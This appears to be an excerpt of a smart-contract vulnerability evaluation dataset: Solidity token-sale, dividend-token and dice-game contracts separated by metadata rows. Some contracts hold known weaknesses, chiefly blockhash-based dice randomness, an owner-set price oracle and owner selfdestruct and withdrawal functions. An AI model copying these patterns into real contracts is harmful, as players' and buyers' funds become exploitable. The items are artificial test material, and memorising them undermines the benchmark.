function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FreeLimitPool is BasicToken, Ownable {
// not for sell vars pool
uint256 public nfsPoolLeft;
uint256 public nfsPoolCount;
function nfsPoolTransfer(address _to, uint256 _value) public onlyOwner returns (bool) {
require(nfsPoolLeft >= _value, "Value more than tokens left");
require(_to != address(0), "Not allowed send to trash tokens");
nfsPoolLeft -= _value;
balances[_to] = balances[_to].add(_value);
emit Transfer(address(0), _to, _value);
return true;
}
}
contract TwoPhases is FreeLimitPool {
EthRateOracle public oracle;
uint256 public soldTokensCount = 0;
// first period token price
uint256 public tokenStartPrice;
// second phase token cost in cents
uint256 public tokenSecondPeriodPrice;
uint256 public sPerDate;
uint256 public sPeriodEndDate;
uint256 public sPeriodSoldTokensLimit;
function() public payable {
require(0.0001 ether <= msg.value, "min limit eth 0.0001");
require(sPeriodEndDate >= now, "Sell tokens all periods ended");
uint256 tokensCount;
uint256 ethUsdRate = oracle.getEthUsdRate();
bool isSecondPeriodNow = now >= sPerDate;
bool isSecondPeriodTokensLimitReached = soldTokensCount >= (totalSupply_ - sPeriodSoldTokensLimit - nfsPoolCount);
if (isSecondPeriodNow || isSecondPeriodTokensLimitReached) {
tokensCount = msg.value * ethUsdRate / tokenSecondPeriodPrice;
} else {
tokensCount = msg.value * ethUsdRate / tokenStartPrice;
uint256 sPeriodTokensCount = reminderCalc(soldTokensCount + tokensCount, totalSupply_ - sPeriodSoldTokensLimit - nfsPoolCount);
if (sPeriodTokensCount > 0) {
tokensCount -= sPeriodTokensCount;
uint256 weiLeft = sPeriodTokensCount * tokenStartPrice / ethUsdRate;
tokensCount += weiLeft * ethUsdRate / tokenSecondPeriodPrice;
}
}
require(tokensCount > 0, "tokens count must be positive");
require((soldTokensCount + tokensCount) <= (totalSupply_ - nfsPoolCount), "tokens limit");
balances[msg.sender] += tokensCount;
soldTokensCount += tokensCount;
emit Transfer(address(0), msg.sender, tokensCount);
}
function reminderCalc(uint256 x, uint256 y) internal pure returns (uint256) {
if (y >= x) {
return 0;
}
return x - y;
}
function setOracleAddress(address _oracleAddress) public onlyOwner {
oracle = EthRateOracle(_oracleAddress);
}
}
contract Exchangeable is StandardToken, Ownable {
uint256 public transfersAllowDate;
function transfer(address _to, uint256 _value) public returns (bool) {
require(transfersAllowDate <= now, "Function cannot be called at this time.");
return BasicToken.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(transfersAllowDate <= now);
return StandardToken.transferFrom(_from, _to, _value);
}
}
contract EthRateOracle is Ownable {
uint256 public ethUsdRate;
function update(uint256 _newValue) public onlyOwner {
ethUsdRate = _newValue;
}
function getEthUsdRate() public view returns (uint256) {
return ethUsdRate;
}
}
contract JokerToken is Exchangeable, TwoPhases {
string public name;
string public symbol;
uint8 public decimals;
constructor() public {
name = "Joker.buzz token";
symbol = "JOKER";
decimals = 18;
totalSupply_ = 20000000 * (uint256(10) ** decimals);
// in us cents
tokenStartPrice = 40;
// not for sell
nfsPoolCount = 10900000 * (uint256(10) ** decimals);
nfsPoolLeft = nfsPoolCount;
// period 2, another price, and after some date
tokenSecondPeriodPrice = 200;
sPerDate = now + 149 days;
sPeriodEndDate = now + 281 days;
sPeriodSoldTokensLimit = (totalSupply_ - nfsPoolCount) - 1200000 * (uint256(10) ** decimals);
// transfer ability
transfersAllowDate = now + 281 days;
}
function getCurrentPhase() public view returns (string) {
bool isSecondPeriodNow = now >= sPerDate;
bool isSecondPeriodTokensLimitReached = soldTokensCount >= (totalSupply_ - sPeriodSoldTokensLimit - nfsPoolCount);
if (transfersAllowDate <= now) {
return "Last third phase, you can transfer tokens between users, but can't buy more tokens.";
}
if (sPeriodEndDate < now) {
return "Second phase ended, You can not buy more tokens.";
}
if (isSecondPeriodNow && isSecondPeriodTokensLimitReached) {
return "Second phase by time and solded tokens";
}
if (isSecondPeriodNow) {
return "Second phase by time";
}
if (isSecondPeriodTokensLimitReached) {
return "Second phase by solded tokens";
}
return "First phase";
}
function getIsSecondPhaseByTime() public view returns (bool) {
return now >= sPerDate;
}
function getRemainingDaysToSecondPhase() public view returns (uint) {
return (sPerDate - now) / 1 days;
}
function getRemainingDaysToThirdPhase() public view returns (uint) {
return (transfersAllowDate - now) / 1 days;
}
function getIsSecondPhaseEndedByTime() public view returns (bool) {
return sPeriodEndDate < now;
}
function getIsSecondPhaseBySoldedTokens() public view returns (bool) {
return soldTokensCount >= (totalSupply_ - sPeriodSoldTokensLimit - nfsPoolCount);
}
function getIsThirdPhase() public view returns (bool) {
return transfersAllowDate <= now;
}
function getBalance(address addr) public view returns (uint) {
return balances[addr];
}
function getWeiBalance() public constant returns (uint weiBal) {
return address(this).balance;
}
function EthToOwner(address _address, uint amount) public onlyOwner {
require(amount <= address(this).balance);
_address.transfer(amount);
}
}
| 213,327 | 10,835 |
6de4a8dbf1b653e3db1c63280cbdee7b3e823a08ec4a5a7e6af8e3ee277deeb8
| 13,311 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x7af6a64e4285db0471f819ae541a75649e2d2af4.sol
| 3,479 | 12,447 |
pragma solidity ^0.4.25;
contract EasyProToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "EasyProToken";
string public symbol = "EPT";
address constant internal boss = 0xad38E78f2A05c77874006d60261DEF36954a2426;
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint8 constant internal ownerFee1 = 10;
uint8 constant internal ownerFee2 = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
return purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_dividends, ownerFee2), 100);
_dividends = SafeMath.sub(_dividends, forBoss);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_undividedDividends, ownerFee1), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], _referralBonus);
}
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 217,249 | 10,836 |
965e7f80d16f9c276f6c2d325e63f4cc139670ace940f04dad9d9e1d9ae00162
| 16,202 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x7ea6b937fe5c8734e057c9e86784f734392eb344.sol
| 4,153 | 15,232 |
pragma solidity ^0.4.24;
// Zethr Token Bankroll interface
contract ZethrTokenBankroll{
// Game request token transfer to player
function gameRequestTokens(address target, uint tokens) public;
}
// Zether Main Bankroll interface
contract ZethrMainBankroll{
function gameGetTokenBankrollList() public view returns (address[7]);
}
// Zethr main contract interface
contract ZethrInterface{
function withdraw() public;
}
// Library for figuring out the "tier" (1-7) of a dividend rate
library ZethrTierLibrary{
uint constant internal magnitude = 2**64;
function getTier(uint divRate) internal pure returns (uint){
// Tier logic
// We can divide by magnitude
// Remainder is removed so we only get the actual number we want
uint actualDiv = divRate;
if (actualDiv >= 30){
return 6;
} else if (actualDiv >= 25){
return 5;
} else if (actualDiv >= 20){
return 4;
} else if (actualDiv >= 15){
return 3;
} else if (actualDiv >= 10){
return 2;
} else if (actualDiv >= 5){
return 1;
} else if (actualDiv >= 2){
return 0;
} else{
// Impossible
revert();
}
}
}
// Contract that contains the functions to interact with the bankroll system
contract ZethrBankrollBridge{
// Must have an interface with the main Zethr token contract
ZethrInterface Zethr;
// Store the bankroll addresses
// address[0] is main bankroll
// address[1] is tier1: 2-5%
// address[2] is tier2: 5-10, etc
address[7] UsedBankrollAddresses;
// Mapping for easy checking
mapping(address => bool) ValidBankrollAddress;
// Set up the tokenbankroll stuff
function setupBankrollInterface(address ZethrMainBankrollAddress) internal {
// Instantiate Zethr
Zethr = ZethrInterface(0xb9ab8eed48852de901c13543042204c6c569b811);
// Get the bankroll addresses from the main bankroll
UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList();
for(uint i=0; i<7; i++){
ValidBankrollAddress[UsedBankrollAddresses[i]] = true;
}
}
// Require a function to be called from a *token* bankroll
modifier fromBankroll(){
require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll");
_;
}
// Request a payment in tokens to a user FROM the appropriate tokenBankroll
// Figure out the right bankroll via divRate
function RequestBankrollPayment(address to, uint tokens, uint userDivRate) internal {
uint tier = ZethrTierLibrary.getTier(userDivRate);
address tokenBankrollAddress = UsedBankrollAddresses[tier];
ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens);
}
}
// Contract that contains functions to move divs to the main bankroll
contract ZethrShell is ZethrBankrollBridge{
// Dump ETH balance to main bankroll
function WithdrawToBankroll() public {
address(UsedBankrollAddresses[0]).transfer(address(this).balance);
}
// Dump divs and dump ETH into bankroll
function WithdrawAndTransferToBankroll() public {
Zethr.withdraw();
WithdrawToBankroll();
}
}
// Zethr game data setup
// Includes all necessary to run with Zethr
contract Zethroll is ZethrShell {
using SafeMath for uint;
// Makes sure that player profit can't exceed a maximum amount,
// that the bet size is valid, and the playerNumber is in range.
modifier betIsValid(uint _betSize, uint _playerNumber, uint divRate) {
require(calculateProfit(_betSize, _playerNumber) < getMaxProfit(divRate)
&& _betSize >= minBet
&& _playerNumber >= minNumber
&& _playerNumber <= maxNumber);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gamePaused == false);
_;
}
// Requires msg.sender to be owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Constants
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint public maxNumber = 90;
uint public minNumber = 10;
uint constant public houseEdgeDivisor = 1000;
// Configurables
bool public gamePaused;
bool public canMining = true;
uint public miningProfit = 100;
uint public minBetMining = 1e18;
address public owner;
mapping (uint => uint) public contractBalance;
mapping (uint => uint) public maxProfit;
uint public houseEdge;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
// Trackers
uint public totalBets;
uint public totalZTHWagered;
// Events
// Logs bets + output to web3 for precise 'payout on win' field in UI
event LogBet(address sender, uint value, uint rollUnder);
// Outputs to web3 UI on bet result
// Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
// Logs owner transfers
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// Logs changes in maximum profit
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
// Logs current contract balance
event CurrentContractBalance(uint _tokens);
constructor (address ZethrMainBankrollAddress) public {
setupBankrollInterface(ZethrMainBankrollAddress);
// Owner is deployer
owner = msg.sender;
// Init 990 = 99% (1% houseEdge)
houseEdge = 990;
// The maximum profit from each bet is 10% of the contract balance.
ownerSetMaxProfitAsPercentOfHouse(200000);
// Init min bet (1 ZTH)
ownerSetMinBet(1e18);
canMining = true;
miningProfit = 100;
minBetMining = 1e18;
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(abi.encodePacked(blockhash(blockn),
entropy)));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) public view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// Calculate the maximum potential profit
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
// I present a struct which takes only 20k gas
struct playerRoll{
uint192 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
uint8 rollUnder; // Roll under 8 bits
uint8 divRate; // Divrate, 8 bits
}
// Mapping because a player can do one roll at a time
mapping(address => playerRoll) public playerRolls;
// The actual roll function
function _playerRollDice(uint _rollUnder, TKN _tkn, uint userDivRate) private
gameIsActive
betIsValid(_tkn.value, _rollUnder, userDivRate)
{
require(_tkn.value < ((2 ** 192) - 1)); // Smaller than the storage of 1 uint192;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
require(userDivRate < (2 ** 8 - 1)); // This should never throw
// Note that msg.sender is the Token Contract Address
// and "_from" is the sender of the tokens
playerRoll memory roll = playerRolls[_tkn.sender];
// Cannot bet twice in one block
require(block.number != roll.blockn);
// If there exists a roll, finish it
if (roll.blockn != 0) {
_finishBet(_tkn.sender);
}
// Set struct block number, token value, and rollUnder values
roll.blockn = uint48(block.number);
roll.tokenValue = uint192(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
roll.divRate = uint8(userDivRate);
// Store the roll struct - 20k gas.
playerRolls[_tkn.sender] = roll;
// Provides accurate numbers for web3 and allows for manual refunds
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
// Increment total number of bets
totalBets += 1;
// Total wagered
totalZTHWagered += _tkn.value;
// game mining
if(canMining && roll.tokenValue >= minBetMining){
uint miningAmout = SafeMath.div(SafeMath.mul(roll.tokenValue, miningProfit) , 10000);
RequestBankrollPayment(_tkn.sender, miningAmout, roll.divRate);
}
}
// Finished the current bet of a player, if they have one
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(msg.sender);
}
function _finishBet(address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0); // No re-entracy
require(roll.blockn != block.number);
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - roll.blockn > 255) {
result = 1000; // Cant win
} else {
// Grab the result - random based ONLY on a past block (future when submitted)
result = random(100, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
// Player has won!
// Safely map player profit
uint profit = calculateProfit(roll.tokenValue, rollUnder);
uint mProfit = getMaxProfit(roll.divRate);
if (profit > mProfit){
profit = mProfit;
}
// Safely reduce contract balance by player profit
subContractBalance(roll.divRate, profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
// Update maximum profit
setMaxProfit(roll.divRate);
// Prevent re-entracy memes
playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0));
// Transfer profit plus original bet
RequestBankrollPayment(target, profit + roll.tokenValue, roll.divRate);
return result;
} else {
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
addContractBalance(roll.divRate, roll.tokenValue);
playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0));
// No need to actually delete player roll here since player ALWAYS loses
// Saves gas on next buy
// Update maximum profit
setMaxProfit(roll.divRate);
return result;
}
}
// TKN struct
struct TKN {address sender; uint value;}
// Token fallback to bet or deposit from bankroll
function execute(address _from, uint _value, uint userDivRate, bytes _data) public fromBankroll gameIsActive returns (bool) {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn, userDivRate);
return true;
}
// Sets max profit
function setMaxProfit(uint divRate) internal {
//emit CurrentContractBalance(contractBalance);
maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Gets max profit
function getMaxProfit(uint divRate) public view returns (uint){
return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Subtracts from the contract balance tracking var
function subContractBalance(uint divRate, uint sub) internal {
contractBalance[divRate] = contractBalance[divRate].sub(sub);
}
// Adds to the contract balance tracking var
function addContractBalance(uint divRate, uint add) internal {
contractBalance[divRate] = contractBalance[divRate].add(add);
}
// Only owner adjust contract balance variable (only used for max profit calc)
function ownerUpdateContractBalance(uint newContractBalance, uint divRate) public
onlyOwner
{
contractBalance[divRate] = newContractBalance;
}
function ownerUpdateMinMaxNumber(uint newMinNumber, uint newMaxNumber) public
onlyOwner
{
minNumber = newMinNumber;
maxNumber = newMaxNumber;
}
// Only owner adjust contract balance variable (only used for max profit calc)
function updateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance[2] = newContractBalance;
setMaxProfit(2);
contractBalance[5] = newContractBalance;
setMaxProfit(5);
contractBalance[10] = newContractBalance;
setMaxProfit(10);
contractBalance[15] = newContractBalance;
setMaxProfit(15);
contractBalance[20] = newContractBalance;
setMaxProfit(20);
contractBalance[25] = newContractBalance;
setMaxProfit(25);
contractBalance[33] = newContractBalance;
setMaxProfit(33);
}
// An EXTERNAL update of tokens should be handled here
// This is due to token allocation
// The game should handle internal updates itself (e.g. tokens are betted)
function bankrollExternalUpdateTokens(uint divRate, uint newBalance) public fromBankroll {
contractBalance[divRate] = newBalance;
setMaxProfit(divRate);
}
// Only owner address can set maxProfitAsPercentOfHouse
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
// Restricts each bet to a maximum profit of 20% contractBalance
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit(2);
setMaxProfit(5);
setMaxProfit(10);
setMaxProfit(15);
setMaxProfit(20);
setMaxProfit(25);
setMaxProfit(33);
}
// Only owner address can set minBet
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
// Only owner address can set emergency pause #1
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetCanMining(bool newStatus) public
onlyOwner
{
canMining = newStatus;
}
function ownerSetMiningProfit(uint newProfit) public
onlyOwner
{
miningProfit = newProfit;
}
function ownerSetMinBetMining(uint newMinBetMining) public
onlyOwner
{
minBetMining = newMinBetMining;
}
// Only owner address can set owner address
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
// Only owner address can selfdestruct - emergency
function ownerkill() public
onlyOwner
{
selfdestruct(owner);
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
